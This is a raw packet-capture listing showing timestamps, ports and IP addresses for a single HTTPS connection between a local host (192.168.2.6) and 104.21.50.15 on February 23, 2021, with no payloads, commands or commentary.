Feb 23, 2021 10:04:39.043257952 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.044099092 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.044123888 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.044159889 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.044207096 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.044969082 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.044991970 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.045006990 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.045051098 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.045085907 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.045867920 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.046024084 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.046047926 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.046066046 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.046089888 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.046112061 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.046960115 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.046984911 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.047000885 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.047060013 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.048311949 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.048335075 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.048352957 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.048413038 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.048437119 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.048688889 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.048710108 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.048727036 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.048765898 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.049602032 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.049626112 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.049643040 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.049664974 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.049690962 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.050498962 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.050520897 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.050538063 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.050621986 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.051381111 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.051407099 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.051424980 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.051448107 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.051472902 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.052270889 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.052294970 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.052310944 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.052369118 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.053172112 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.053200960 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.053215981 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.053248882 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.053272963 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.054085016 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.054106951 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.054122925 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.054177999 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.082451105 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.082484007 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.082501888 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.082653046 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.082686901 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.082762957 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.082818985 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.082839966 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.082870960 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.083672047 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.083693981 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.083712101 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.083988905 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.084043026 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.084551096 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.084599018 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.084616899 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.084681034 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.085725069 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.085752010 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.085768938 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.086023092 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.086040020 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.086350918 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.086400032 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.086416960 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.086752892 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.087238073 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.087259054 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.087279081 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.088129997 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.088152885 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.088166952 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.091025114 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.091058969 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.091063023 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.092662096 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.092827082 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.093050957 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.093071938 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.093091965 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.093106985 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.093122959 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.093159914 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.093188047 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.093194008 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.093209028 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.093225956 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.093245983 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.093254089 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.093318939 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.093650103 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.093671083 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.093724012 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.093805075 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.094252110 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.094270945 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.094291925 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.095452070 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.095478058 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.095537901 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.095556974 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.095576048 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.095602036 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.095644951 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.096334934 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.096481085 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.096506119 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.096535921 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.097315073 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.097337961 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.097408056 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.098202944 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.098340034 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.123579979 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.123620033 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.123637915 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.123832941 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.124669075 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.124700069 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.124723911 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.124771118 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.124803066 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.125072002 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.125099897 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.125124931 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.125169992 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.126724958 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.126759052 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.126785994 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.126811981 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.126844883 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.127150059 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.127177000 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.127197981 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.127233028 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.131824017 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.131865025 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.131889105 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.131968021 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.132004976 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.132179022 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.132204056 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.132226944 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.132257938 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.133481979 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.133511066 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.133533955 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.133577108 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.133603096 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.133903027 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.133929014 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.133950949 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.133971930 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.133985043 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.134017944 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.134804964 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.134834051 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.134856939 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.134913921 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.135691881 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.135720015 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.135744095 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.135761023 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.135785103 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.136535883 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.136569023 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.136594057 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.136635065 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.137442112 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.137469053 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.137491941 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.137526035 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.137546062 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.138290882 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.138324022 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.138351917 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.138397932 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.139147043 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.139177084 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.139197111 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.139221907 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.139261961 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.140012026 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.140038013 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.140060902 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.140139103 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.164658070 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.164710045 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.164948940 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.165461063 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.165483952 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.165570974 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.184570074 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.225549936 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.225585938 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.225919962 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.226094007 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.226115942 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.226202965 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.227438927 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.227466106 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.227683067 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.228775978 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.228801012 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.228887081 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.230089903 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.230114937 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.230200052 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.231408119 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.231432915 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.231534958 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.232753992 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.232781887 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.232918978 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.234061956 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.234082937 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.234150887 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.235523939 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.235541105 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.235605001 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.236736059 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.236757994 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.236830950 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.238148928 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.238166094 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.238230944 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.239378929 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.239404917 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.239507914 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.240722895 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.240750074 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.240833998 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.242047071 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.242073059 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.242168903 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.243391037 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.243412971 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.243486881 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.244719028 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.244743109 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.244818926 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.246073961 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.246103048 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.246243000 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.247384071 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.247407913 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.247498035 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.248713017 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.248737097 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.248820066 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.250034094 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.250056982 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.250138998 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.251362085 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.251383066 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.251497030 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.252733946 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.252752066 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.252834082 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.254044056 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.254067898 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.254172087 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.255362034 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.255389929 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.255471945 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.256684065 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.256715059 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.256791115 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.258028984 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.258054018 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.258155107 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.259366035 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.259397030 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.259543896 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.260678053 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.260701895 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.260802984 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.262015104 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.262039900 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.262130976 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.263374090 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.263394117 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.263485909 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.264659882 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.264683962 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.264816046 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.266032934 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.266056061 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.266159058 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.267338037 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.267368078 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.267481089 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.268659115 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.268692017 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.268774986 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.270014048 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.270042896 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.270133972 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.271334887 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.271364927 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.271446943 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.272661924 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.272691965 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.272766113 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.273998976 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.274027109 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.274125099 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.275696993 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.275721073 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.275783062 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.276675940 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.276707888 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.276788950 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.277988911 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.278021097 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.278109074 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.279316902 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.279344082 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.279416084 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.280674934 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.280704975 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.280802011 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.281980991 CET	443	49769	104.21.50.15	192.168.2.6
